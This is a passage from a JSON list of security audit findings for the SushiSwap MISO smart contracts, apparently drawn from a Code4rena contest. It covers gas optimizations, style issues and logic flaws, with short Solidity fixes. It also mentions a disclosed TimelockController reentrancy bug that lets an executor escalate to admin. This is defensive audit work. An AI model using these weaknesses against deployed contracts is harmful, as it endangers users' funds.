loops"}, {"title": "Upgrade to at least 0.8.4", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/131", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Upgrade to at least 0.8.4"}, {"title": "Style issues", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/130", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "Style issues"}, {"title": "_addCommitment should check that address is not empty", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/128", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "_addCommitment should check that address is not empty"}, {"title": "_startTime is always < 10000000000 when _endTime < 10000000000 (_endTime > _startTime)", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/127", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle pauliax # Vulnerability details ## Impact No need to check that _startTime < 10000000000 as it is later checked against _endTime which is also < 10000000000 : require(_startTime < 10000000000, \"Crowdsale: enter an unix timestamp in seconds, not miliseconds\"); require(_endTime < 10000000000, \"Crowdsale: enter an unix timestamp in seconds, not miliseconds\"); ... require(_endTime > _startTime, \"Crowdsale: end time must be older than start price\"); ## Recommended Mitigation Steps Remove this line: require(_startTime < 10000000000, \"Crowdsale: enter an unix timestamp in seconds, not miliseconds\"); "}, {"title": "Pack structs tightly", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Pack structs tightly"}, {"title": "allDepositIds is pretty much useless", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "allDepositIds is pretty much useless"}, {"title": "Dead code", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle pauliax # Vulnerability details ## Impact BLOCK_DECREMENT state variable in Auction is not used anywhere. ## Recommended Mitigation Steps Consider removing unused variables. "}, {"title": "Useless initialization to default value", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/122", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle pauliax # Vulnerability details ## Impact No need for this line in function initMISOMarket as it gets this value by default: auctionTemplateId = 0; ## Recommended Mitigation Steps Consider removing useless initialization. "}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/120", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "# Handle robee # Vulnerability details In the following files there are contract imports that aren't used. Import of unnecessary files costs deployment gas (and is a bad coding practice that is important to ignore). ConvexModule.sol, line 3, import \"@yield-protocol/vault-interfaces/DataTypes.sol\"; ConvexStakingWrapper.sol, line 9, import \"./interfaces/IConvexDeposits.sol\"; ConvexStakingWrapper.sol, line 10, import \"./interfaces/ICvx.sol\"; "}, {"title": "Separate minter roles are not really necessary", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Separate minter roles are not really necessary"}, {"title": "SushiToken transfers are broken due to wrong delegates accounting on transfers", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/117", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "SushiToken transfers are broken due to wrong delegates accounting on transfers"}, {"title": "MISORecipe01 uses outdated interfaces", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/116", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "MISORecipe01 uses outdated interfaces"}, {"title": "Commitments can happen after already finalized", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/115", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Commitments can happen after already finalized"}, {"title": "`TokenVault` incorrectly tracks `userIndex`", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/114", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "`TokenVault` incorrectly tracks `userIndex`"}, {"title": "Inclusive checks", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/113", "labels": ["bug", "0 (Non-critical)"], "target": "2021-09-sushimiso-findings", "body": "Inclusive checks"}, {"title": "`MISOMasterChef.setDevPercentage` should be capped", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/111", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "`MISOMasterChef.setDevPercentage` should be capped"}, {"title": "The first escrow index underflows", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/110", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed", "resolved"], "target": "2021-09-sushimiso-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function createEscrow first assigns an index for the new isChildEscrow and only then pushes the struct to the array. When first escrow is being created, the array contains 0 elements so escrows.length-1 will underflow and return a max uint value: isChildEscrow[address(newEscrow)] = Fermenter(true,_templateId,escrows.length-1); escrows.push(newEscrow); ## Recommended Mitigation Steps isChildEscrow[address(newEscrow)] = Fermenter(true,_templateId,escrows.length); escrows.push(newEscrow); "}, {"title": "`HyperbolicAuction.initAuction` 's `_factor` argument is never used", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/109", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "`HyperbolicAuction.initAuction` 's `_factor` argument is never used"}, {"title": "Loss of price precision", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle cmichel # Vulnerability details The `DutchAuction._currentPrice()` is computed by multiplying with `priceDrop()`. However, `priceDrop()` already performs a division and the final current price, therefore, loses precision. Note that `priceDrop()` could even return `0` for ultra-low prices or very long auctions. Imagine the actual payment per auction token price is `10^-12` => `startPrice` and `endPrice` are set with 18 decimals as ~`10^6`, but for auctions over a year (31,536,000 seconds > `10^6`) it'll then return 0. ## Impact Precision can be lost leading to less accurate token auction results or even completely breaking the auction if the price is very low and the auctions are very long. ## Recommended Mitigation Steps Perform all multiplications before divisions: ```solidity uint256 priceDiff = block.timestamp.sub(uint256(marketInfo.startTime)).mul( uint256(_marketPrice.startPrice.sub(_marketPrice.minimumPrice)) ) / uint256(_marketInfo.endTime.sub(_marketInfo.startTime)); ``` "}, {"title": "Gas: Remove nonce from parameter list", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/107", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Gas: Remove nonce from parameter list"}, {"title": "TokenInitialized token parameter is always empty", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/106", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed", "resolved"], "target": "2021-09-sushimiso-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function createToken emits TokenInitialized event, however, it does it before actually deploying the token so address(token) will always be empty (0x0): emit TokenInitialized(address(token), _templateId, _data); token = deployToken(_templateId, _integratorFeeAccount); This may confuse external consumers of this event. ## Recommended Mitigation Steps Usually, a good practice is to emit events in the end after all the actions are done. "}, {"title": "Gas: Cache auction prices", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/105", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle cmichel # Vulnerability details The `DutchAuction.clearingPrice` function can save gas by caching the computed prices instead of recomputing it. ## Recommended Mitigation Steps Cache the values: ```solidity function clearingPrice() public view returns (uint256) { /// @dev If auction successful, return tokenPrice uint256 _tokenPrice = tokenPrice(); uint256 _currentPrice = priceFunction(); return _tokenPrice > _currentPrice ? _tokenPrice : _currentPrice; } ``` "}, {"title": "Use constant named variable for auction decimals", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/103", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed", "resolved"], "target": "2021-09-sushimiso-findings", "body": "# Handle cmichel # Vulnerability details The `CrowdSale.initCrowdsale` function checks that the auction token has 18 decimals through `IERC20(_token).decimals() == 18`. This seems to be related to `AUCTION_TOKEN_DECIMALS` and these values should not get ouf of sync. ## Impact These values can easily get out of sync. ## Recommended Mitigation Steps Create another named constant and set it to `18` decimals: ```solidity uint256 private constant AUCTION_TOKEN_DECIMAL_PLACES = 18; uint256 private constant AUCTION_TOKEN_DECIMALS = 10 ** AUCTION_TOKEN_DECIMAL_PLACES; ``` "}, {"title": "Should `TokenList` implement `IPointList`?", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/101", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Should `TokenList` implement `IPointList`?"}, {"title": "`AccessControlTemplateRemoved` event not used", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/100", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "`AccessControlTemplateRemoved` event not used"}, {"title": "No ERC20 `safeApprove` versions called", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/99", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle cmichel # Vulnerability details Some tokens don't correctly implement the EIP20 standard and their `approve` function returns `void` instead of a success boolean. Calling these functions with the correct EIP20 function signatures will always revert. Calls to `.approve` with user-defined tokens are made in: - `MISOLauncher.createLauncher` - `MISOMarket.createMarket` ## Impact Tokens that don't correctly implement the latest EIP20 spec, like USDT, will be unusable in the mentioned contracts as they revert the transaction because of the missing return value. ## Recommended Mitigation Steps We recommend using OpenZeppelin\u2019s `SafeERC20` versions with the `safeApprove` function that handle the return value check as well as non-standard-compliant tokens. "}, {"title": "getTokenTemplate should check boundaries", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/98", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "getTokenTemplate should check boundaries"}, {"title": "No ERC20 safe* versions called in MisoRecipe", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/97", "labels": ["bug", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "No ERC20 safe* versions called in MisoRecipe"}, {"title": "Usage of address.transfer", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/96", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Usage of address.transfer"}, {"title": "`MISOMasterChef` may not be used with fee-on-transfer tokens", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/94", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "`MISOMasterChef` may not be used with fee-on-transfer tokens"}, {"title": "Unused event `StrategyCvxHelper.HarvestState`", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/93", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "# Handle cmichel # Vulnerability details ## Vulnerability Details The `HarvestState` event in `StrategyCvxHelper` is not used. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "lockTokens should validate withdrawer", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/92", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function lockTokens in contract TokenVault should check that _withdrawer is not empty (0x0) to prevent accidentally locked forever (burned) tokens. ## Recommended Mitigation Steps require(_withdrawer != address(0)); "}, {"title": "use of floating pragma", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/91", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "use of floating pragma"}, {"title": "unused local variable", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/90", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "unused local variable"}, {"title": "use of transfer() instead of call() to send eth", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "use of transfer() instead of call() to send eth"}, {"title": "excessive eth is not transfered back to the deployer if msg.value is greater than minimum fees ", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/86", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "excessive eth is not transfered back to the deployer if msg.value is greater than minimum fees "}, {"title": "Consolidation of Storage Slots", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Consolidation of Storage Slots"}, {"title": "Lack of `Immutable` Keyword", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Lack of `Immutable` Keyword"}, {"title": "Old Solidity compiler version", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/79", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Old Solidity compiler version"}, {"title": "Unconventional use of basis points for integratorFeePct could cause undefined behavior", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/78", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Unconventional use of basis points for integratorFeePct could cause undefined behavior"}, {"title": "Same LP token can be added more than once to affect reward calculations", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Same LP token can be added more than once to affect reward calculations"}, {"title": "Unchecked `fundsCommitted` in Token Withdrawal", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/74", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Unchecked `fundsCommitted` in Token Withdrawal"}, {"title": "Event parameters interchanged for emit of access control template addition", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed", "resolved"], "target": "2021-09-sushimiso-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Emission of the event AccessControlTemplateAdded(address oldAccessControl, address newAccessControl) has the old and new addresses interchanged which could confuse/trigger offchain monitoring tools or interfaces. This is of medium severity (instead of low) because it is related to access control template updation and critical to security of all contracts that rely on MISOAccessFactory. The actual emit is emit AccessControlTemplateAdded(_template, accessControlTemplate); which has the parameter used in the oldAccessControl place instead of being used for the second argument, and vice-versa. ## Proof of Concept https://github.com/sushiswap/miso/blob/2cdb1486a55ded55c81898b7be8811cb68cfda9e/contracts/Access/MISOAccessFactory.sol#L36-L37 https://github.com/sushiswap/miso/blob/2cdb1486a55ded55c81898b7be8811cb68cfda9e/contracts/Access/MISOAccessFactory.sol#L100 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Interchange the arguments in the emit. "}, {"title": "Unused event may be unused code or indicative of missed emit/logic", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/72", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Events that are declared but not used may be indicative of unused declarations where it makes sense to remove them for better readability/maintainability/auditability, or worse indicative of a missing emit which is bad for monitoring or missing logic that would have emitted that event. Event InsuranceClaimed is missing an emit. Event ControllerSet is missing an emit. Event VaultManagerSet is missing an emit. ## Proof of Concept https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/controllers/Controller.sol#L56 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/Harvester.sol#L44 https://github.com/code-423n4/2021-09-yaxis/blob/cf7d9448e70b5c1163a1773adb4709d9d6ad6c99/contracts/v3/Harvester.sol#L72 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add emit or remove event declaration. "}, {"title": "Lack of indexed event parameters will affect offchain monitoring", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Lack of indexed event parameters will affect offchain monitoring"}, {"title": "Relying on setters for initialisation of critical parameters is risky", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Relying on setters for initialisation of critical parameters is risky"}, {"title": "Unnecessary zero check on variable which is never initialized earlier", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/68", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Unnecessary zero check on variable which is never initialized earlier"}, {"title": "Avoiding unnecessary external call will save > 2600 gas", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Market is guaranteed to be finalized by checking and calling finalize if not finalized. So the subsequent require() by again checking market.finalized() is redundant and can save 2600+ gas by removing the external call. External calls cost 2600 gas after Berlin upgrade. ## Proof of Concept https://github.com/sushiswap/miso/blob/2cdb1486a55ded55c81898b7be8811cb68cfda9e/contracts/Liquidity/PostAuctionLauncher.sol#L226-L229 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove the require(). "}, {"title": "Using function parameters in emits saves gas", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Using function parameters in emits saves gas"}, {"title": "Init functions are susceptible to front-running", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/64", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "Init functions are susceptible to front-running"}, {"title": "Missing contract existence check may cause silent failures of token transfers", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/63", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Missing contract existence check may cause silent failures of token transfers"}, {"title": "Check for zero msg.value can save gas", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Check for zero msg.value can save gas"}, {"title": "deployMarket may revert due to integer underflow from missing threshold check", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/61", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "deployMarket may revert due to integer underflow from missing threshold check"}, {"title": "Avoiding initialization of loop index can save a little gas", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The local variable used as for loop index need not be initialized to 0 because the default value is 0. Avoiding this anti-pattern can save a few opcodes and therefore a tiny bit of gas. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L57 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L211 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove explicit 0 initialization of for loop index variable. "}, {"title": "Missing useful isOpen() function could save gas", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/59", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Missing useful isOpen() function could save gas"}, {"title": "Payable external init is redundant and may allow unaccounted token claims or DoS", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/53", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "Payable external init is redundant and may allow unaccounted token claims or DoS"}, {"title": "Single-step wallet address change is risky", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Single-step wallet address change is risky"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Missing zero-address checks"}, {"title": "Critical withdrawTokens function is missing an event\u2028", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Critical withdrawTokens function is missing an event\u2028"}, {"title": "Front-running cancelAuction can prevent auction cancellation", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/43", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "Front-running cancelAuction can prevent auction cancellation"}, {"title": "Caching state variables in local/memory variables avoids SLOADs to save gas", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact There are few places across contracts where the same state variables are read multiple times or the same external calls are made multiple times within a function. Caching state variables or results from external calls in local/memory variables avoids SLOADs and CALLs to save gas. Warm SLOADs cost 100 gas and CALLs cost 2600 gas after Berlin upgrade. MLOADs cost only 3 gas units. ## Proof of Concept Cache swivel: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L61-L64 Cache markets[u][m]: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L76-L86 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L99-L100 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L111-L112 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L181-L182 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L195-L196 Cache matured and maturityRate: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/vaulttracker/VaultTracker.sol#L156-L179\\ Cache vaults: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/vaulttracker/VaultTracker.sol#L244 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Cache state variables or results from external calls in local/memory variables to save gas. "}, {"title": "Missing zero-address check on beneficiary may lead to loss of funds", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/41", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Missing zero-address check on beneficiary may lead to loss of funds"}, {"title": "Tokens without 18 decimals are unhandled", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/38", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Tokens without 18 decimals are unhandled"}, {"title": "Slot packing saves slots but increases runtime gas consumption due to masking", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/36", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Slot packing saves slots but increases runtime gas consumption due to masking"}, {"title": "Lack of Factory Contract for `TokenList.sol`", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Lack of Factory Contract for `TokenList.sol`"}, {"title": "`_safeApprove()` is Not Used Instead of `approve()`", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "`_safeApprove()` is Not Used Instead of `approve()`"}, {"title": "`currentTemplateId` is Not Actively Removed by `MISOLauncher.removeLiquidityLauncherTemplate()`", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/32", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle leastwood # Vulnerability details ## Impact If the current template ID is removed from `MISOLauncher.sol`, the function `removeLiquidityLauncherTemplate()` does not accurately reflect this by deleting `currentTemplateId[_templateId]`. This may lead to users actively using a removed template, expecting the `deployLauncher()` function to succeed when it will revert instead. ## Proof of Concept https://github.com/sushiswap/miso/blob/master/contracts/MISOLauncher.sol#L323-L334 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider removing `currentTemplateId[_templateId]` if the template to be removed by `removeLiquidityLauncherTemplate()` is the same template. "}, {"title": "Missing Events on State Changing Functions", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/31", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-09-sushimiso-findings", "body": "Missing Events on State Changing Functions"}, {"title": "Divide Before Multiply", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Divide Before Multiply"}, {"title": "Lack of Input Validation", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/29", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-sushimiso-findings", "body": "Lack of Input Validation"}, {"title": "Missing SPDX Identifier", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/26", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "Missing SPDX Identifier"}, {"title": "Require statement in PostAuctionLauncher finalize() function will never be reached.", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushimiso-findings", "body": "Require statement in PostAuctionLauncher finalize() function will never be reached."}, {"title": "Outdated and Vulnerable `TimelockController.sol` Contract", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/24", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-09-sushimiso-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `TimelockController.sol` acts as an auxiliary contract to the MISO platform's core contracts. Therefore, this issue is not of high risk as not all users wanting to auction tokens will use this contract for governance behaviour. The `TimelockController.sol` enables a governance framework to enforce a timelock on any proposals, giving users time to exit before a potentially dangerous maintenance operation is applied. However, the `executeBatch()` is vulnerable to reentrancy, enabling privilege escalation for any account with the `EXECUTOR` role to `ADMIN`. ## Proof of Concept Bug outlined [here](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0-solc-0.7/contracts/access/TimelockController.sol#L244-L269). Fix is outlined in this [commit](https://github.com/OpenZeppelin/openzeppelin-contracts/commit/cec4f2ef57495d8b1742d62846da212515d99dd5#diff-8229f9027848871a1706845a5a84fa3e6591445cfac6e16cfb7d652e91e8d395R307). ## Tools Used Sourced from publicly disclosed post by [Immnuefi](https://medium.com/immunefi/openzeppelin-bug-fix-postmortem-66d8c89ed166). ## Recommended Mitigation Steps Update `Openzeppelin` library to a version containing the commit fixing the bug (mentioned above). Tag `v3.4.2-solc-0.7` in `Openzeppelin`'s Github repository is an example of a compatible library that contains the aforementioned bug fix. "}, {"title": "funds will get lost in deployAccessControl if devaddr isn't set", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/23", "labels": ["bug", "sponsor disputed", "1 (Low Risk)"], "target": "2021-09-sushimiso-findings", "body": "funds will get lost in deployAccessControl if devaddr isn't set"}, {"title": "comment copy paste error", "html_url": "https://github.com/code-423n4/2021-09-sushimiso-findings/issues/21", "labels": ["bug", "0 (Non-critical)"], "target": "2021-09-sushimiso-findings", "body": "comment copy paste error"}, {"title": 